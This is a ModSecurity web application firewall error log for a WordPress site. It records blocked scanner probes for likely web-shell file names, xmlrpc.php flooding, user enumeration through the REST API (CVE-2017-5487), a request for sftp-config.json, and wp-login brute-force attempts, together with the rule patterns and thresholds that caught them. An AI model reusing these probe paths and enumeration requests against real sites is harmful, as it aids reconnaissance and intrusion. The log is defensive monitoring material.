[Mon Dec 22 19:12:00.889517 2025] [:error] [pid 33440:tid 33466] [client 4.217.179.78:16116] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aUkngJOsUWKqgxu6QTQeMQAAARg"]
[Mon Dec 22 19:12:01.402593 2025] [:error] [pid 56044:tid 56062] [client 4.217.179.78:15780] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aUknge60uUaieriJqP1apgAAAI4"]
[Mon Dec 22 19:12:03.057052 2025] [:error] [pid 58078:tid 58107] [client 4.217.179.78:26223] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aUkng5WKg9Bf8njHlB4glQAAABg"]
[Mon Dec 22 19:12:03.792795 2025] [:error] [pid 58172:tid 58183] [client 4.217.179.78:6154] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aUkng-SVKDT5jWOcnSXRkAAAAMk"]
[Mon Dec 22 19:12:05.278407 2025] [:error] [pid 58172:tid 58178] [client 4.217.179.78:16115] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aUknheSVKDT5jWOcnSXRlgAAAMQ"]
[Mon Dec 22 19:12:06.619661 2025] [:error] [pid 33564:tid 33573] [client 4.217.179.78:6370] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aUknhgSHeG6oLmMnKY6q-wAAAgY"]
[Mon Dec 22 19:12:07.943976 2025] [:error] [pid 33564:tid 33567] [client 4.217.179.78:6365] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aUknhwSHeG6oLmMnKY6q_wAAAgA"]
[Mon Dec 22 19:12:08.683703 2025] [:error] [pid 33535:tid 33561] [client 4.217.179.78:15782] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aUkniGOCI8D9Xtn-n7SrWwAAAdg"]
[Mon Dec 22 19:12:09.551397 2025] [:error] [pid 33440:tid 33442] [client 4.217.179.78:25688] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aUkniZOsUWKqgxu6QTQeOAAAAQA"]
[Mon Dec 22 19:12:10.766443 2025] [:error] [pid 58172:tid 58174] [client 4.217.179.78:15754] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aUkniuSVKDT5jWOcnSXRpgAAAMA"]
[Mon Dec 22 19:12:22.482263 2025] [:error] [pid 56080:tid 56133] [client 4.217.179.78:30058] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aUknlpIHT3YJq9hjDc7UuAAAAwk"]
[Mon Dec 22 19:12:23.234047 2025] [:error] [pid 58172:tid 58197] [client 4.217.179.78:26880] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/index.php"] [unique_id "aUknl-SVKDT5jWOcnSXRvAAAANc"]
[Mon Dec 22 19:12:30.912139 2025] [:error] [pid 56155:tid 56228] [client 4.217.179.78:6198] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aUknnmG8a3wQucsuN67g7gAAA4Y"]
[Mon Dec 22 19:12:31.374015 2025] [:error] [pid 33564:tid 33591] [client 4.217.179.78:23826] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aUknnwSHeG6oLmMnKY6rHgAAAhg"]
[Mon Dec 22 19:12:32.542085 2025] [:error] [pid 33535:tid 33538] [client 4.217.179.78:6853] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aUknoGOCI8D9Xtn-n7SrdQAAAcE"]
[Mon Dec 22 19:12:33.657653 2025] [:error] [pid 58172:tid 58195] [client 4.217.179.78:30012] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aUknoeSVKDT5jWOcnSXRygAAANU"]
[Mon Dec 22 19:12:34.572251 2025] [:error] [pid 33564:tid 33572] [client 4.217.179.78:6899] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aUknogSHeG6oLmMnKY6rJgAAAgU"]
[Mon Dec 22 19:12:35.249532 2025] [:error] [pid 33440:tid 33452] [client 4.217.179.78:20237] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aUkno5OsUWKqgxu6QTQeTgAAAQo"]
[Mon Dec 22 19:12:36.494011 2025] [:error] [pid 33535:tid 33542] [client 4.217.179.78:25423] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aUknpGOCI8D9Xtn-n7SrdwAAAcU"]
[Mon Dec 22 19:12:37.174313 2025] [:error] [pid 33564:tid 33585] [client 4.217.179.78:23865] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aUknpQSHeG6oLmMnKY6rLQAAAhI"]
[Mon Dec 22 19:12:37.825842 2025] [:error] [pid 56155:tid 56221] [client 4.217.179.78:29982] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aUknpWG8a3wQucsuN67g9QAAA4A"]
[Mon Dec 22 19:12:38.635160 2025] [:error] [pid 56155:tid 56239] [client 4.217.179.78:21347] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aUknpmG8a3wQucsuN67g-AAAA5E"]
[Mon Dec 22 19:12:39.454489 2025] [:error] [pid 33535:tid 33540] [client 4.217.179.78:23842] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aUknp2OCI8D9Xtn-n7SregAAAcM"]
[Mon Dec 22 19:12:40.165241 2025] [:error] [pid 33440:tid 33449] [client 4.217.179.78:26890] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aUknqJOsUWKqgxu6QTQeVgAAAQc"]
[Mon Dec 22 19:12:41.052681 2025] [:error] [pid 56080:tid 56137] [client 4.217.179.78:29697] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aUknqZIHT3YJq9hjDc7U3wAAAw0"]
[Mon Dec 22 19:12:41.573840 2025] [:error] [pid 56155:tid 56234] [client 4.217.179.78:29999] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aUknqWG8a3wQucsuN67g_wAAA4w"]
[Mon Dec 22 19:12:43.309214 2025] [:error] [pid 33472:tid 33520] [client 4.217.179.78:20233] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aUknq55p2WQpPIK8HAkcLgAAAZM"]
[Mon Dec 22 19:12:44.723848 2025] [:error] [pid 33440:tid 33447] [client 4.217.179.78:21351] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aUknrJOsUWKqgxu6QTQeXgAAAQU"]
[Mon Dec 22 19:26:09.033670 2025] [:error] [pid 58172:tid 58186] [client 35.233.90.200:60283] [client 35.233.90.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.90.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkq0eSVKDT5jWOcnSXXbgAAAMw"]
[Mon Dec 22 19:26:12.881950 2025] [:error] [pid 58172:tid 58185] [client 35.233.90.200:60283] [client 35.233.90.200] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUkq1OSVKDT5jWOcnSXXdQAAAMs"]
[Mon Dec 22 19:26:14.735732 2025] [:error] [pid 58172:tid 58194] [client 35.233.90.200:60283] [client 35.233.90.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.90.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkq1uSVKDT5jWOcnSXXewAAANQ"]
[Mon Dec 22 19:26:17.046048 2025] [:error] [pid 33564:tid 33588] [client 35.233.90.200:56388] [client 35.233.90.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.90.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkq2QSHeG6oLmMnKY6v1wAAAhU"]
[Mon Dec 22 19:26:19.328188 2025] [:error] [pid 58078:tid 58096] [client 35.233.90.200:51378] [client 35.233.90.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.90.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkq25WKg9Bf8njHlB4nQwAAAA0"]
[Mon Dec 22 19:26:21.517485 2025] [:error] [pid 33535:tid 33551] [client 35.233.90.200:56410] [client 35.233.90.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.90.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkq3WOCI8D9Xtn-n7SvGgAAAc4"]
[Mon Dec 22 19:26:23.765584 2025] [:error] [pid 58172:tid 58180] [client 35.233.90.200:54265] [client 35.233.90.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.90.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkq3-SVKDT5jWOcnSXXkQAAAMY"]
[Mon Dec 22 19:26:23.765723 2025] [:error] [pid 58172:tid 58180] [client 35.233.90.200:54265] [client 35.233.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.233.90.200, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkq3-SVKDT5jWOcnSXXkQAAAMY"]
[Mon Dec 22 19:48:14.522041 2025] [:error] [pid 33471:tid 33475] [client 67.20.76.98:36638] [client 67.20.76.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.20.76.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkv_r5BeNE7regJ7iw_ugAAAUE"]
[Mon Dec 22 19:48:17.176715 2025] [:error] [pid 58078:tid 58097] [client 67.20.76.98:36642] [client 67.20.76.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.20.76.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkwAZWKg9Bf8njHlB4ywQAAAA4"]
[Mon Dec 22 19:48:19.497015 2025] [:error] [pid 56155:tid 56238] [client 67.20.76.98:17564] [client 67.20.76.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.20.76.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkwA2G8a3wQucsuN67o_AAAA5A"]
[Mon Dec 22 19:48:22.062851 2025] [:error] [pid 33472:tid 33501] [client 47.239.109.32:35868] [client 47.239.109.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.239.109.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkwBp5p2WQpPIK8HAkmfgAAAYA"]
[Mon Dec 22 19:48:24.267800 2025] [:error] [pid 58078:tid 58084] [client 47.239.109.32:35880] [client 47.239.109.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.239.109.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkwCJWKg9Bf8njHlB4yyQAAAAE"]
[Mon Dec 22 19:48:26.162953 2025] [:error] [pid 33471:tid 33489] [client 47.239.109.32:35888] [client 47.239.109.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.239.109.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkwCr5BeNE7regJ7iw_wQAAAU8"]
[Mon Dec 22 20:22:29.115679 2025] [:error] [pid 56044:tid 56051] [client 34.59.180.28:64847] [client 34.59.180.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.59.180.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUk4Be60uUaieriJqP1qlAAAAIM"]
[Mon Dec 22 20:22:32.741766 2025] [:error] [pid 56044:tid 56068] [client 34.59.180.28:64847] [client 34.59.180.28] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUk4CO60uUaieriJqP1qmQAAAJQ"]
[Mon Dec 22 20:22:34.565600 2025] [:error] [pid 56044:tid 56056] [client 34.59.180.28:64847] [client 34.59.180.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.59.180.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUk4Cu60uUaieriJqP1qmwAAAIg"]
[Mon Dec 22 20:22:36.463227 2025] [:error] [pid 58078:tid 58091] [client 34.59.180.28:63323] [client 34.59.180.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.59.180.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUk4DJWKg9Bf8njHlB5BPAAAAAg"]
[Mon Dec 22 20:22:38.488209 2025] [:error] [pid 58078:tid 58102] [client 34.59.180.28:62856] [client 34.59.180.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.59.180.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUk4DpWKg9Bf8njHlB5BSwAAABM"]
[Mon Dec 22 20:22:40.503661 2025] [:error] [pid 33535:tid 33546] [client 34.59.180.28:51292] [client 34.59.180.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.59.180.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUk4EGOCI8D9Xtn-n7S8ywAAAck"]
[Mon Dec 22 20:22:42.507022 2025] [:error] [pid 58078:tid 58103] [client 34.59.180.28:58619] [client 34.59.180.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.59.180.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUk4EpWKg9Bf8njHlB5BUgAAABQ"]
[Mon Dec 22 20:22:42.507175 2025] [:error] [pid 58078:tid 58103] [client 34.59.180.28:58619] [client 34.59.180.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.59.180.28, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUk4EpWKg9Bf8njHlB5BUgAAABQ"]
[Mon Dec 22 20:49:06.606725 2025] [:error] [pid 56080:tid 56133] [client 103.65.236.153:51337] [client 103.65.236.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aUk-QpIHT3YJq9hjDc7pzgAAAwk"]
[Mon Dec 22 21:11:25.026194 2025] [:error] [pid 33472:tid 33509] [client 134.209.153.8:60153] [client 134.209.153.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.153.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlDfZ5p2WQpPIK8HAk47gAAAYg"]
[Mon Dec 22 21:11:27.597534 2025] [:error] [pid 56080:tid 56137] [client 134.209.153.8:54690] [client 134.209.153.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.153.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlDf5IHT3YJq9hjDc7uAQAAAw0"]
[Mon Dec 22 21:39:52.713642 2025] [:error] [pid 33564:tid 33584] [client 134.209.153.8:54022] [client 134.209.153.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.153.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlKKASHeG6oLmMnKY7UJgAAAhE"]
[Mon Dec 22 21:47:33.064103 2025] [:error] [pid 33440:tid 33462] [client 134.209.153.8:65503] [client 134.209.153.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.153.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlL9ZOsUWKqgxu6QTRB2AAAARQ"]
[Mon Dec 22 21:55:33.880354 2025] [:error] [pid 56080:tid 56136] [client 134.209.153.8:61795] [client 134.209.153.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.153.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlN1ZIHT3YJq9hjDc72uwAAAww"]
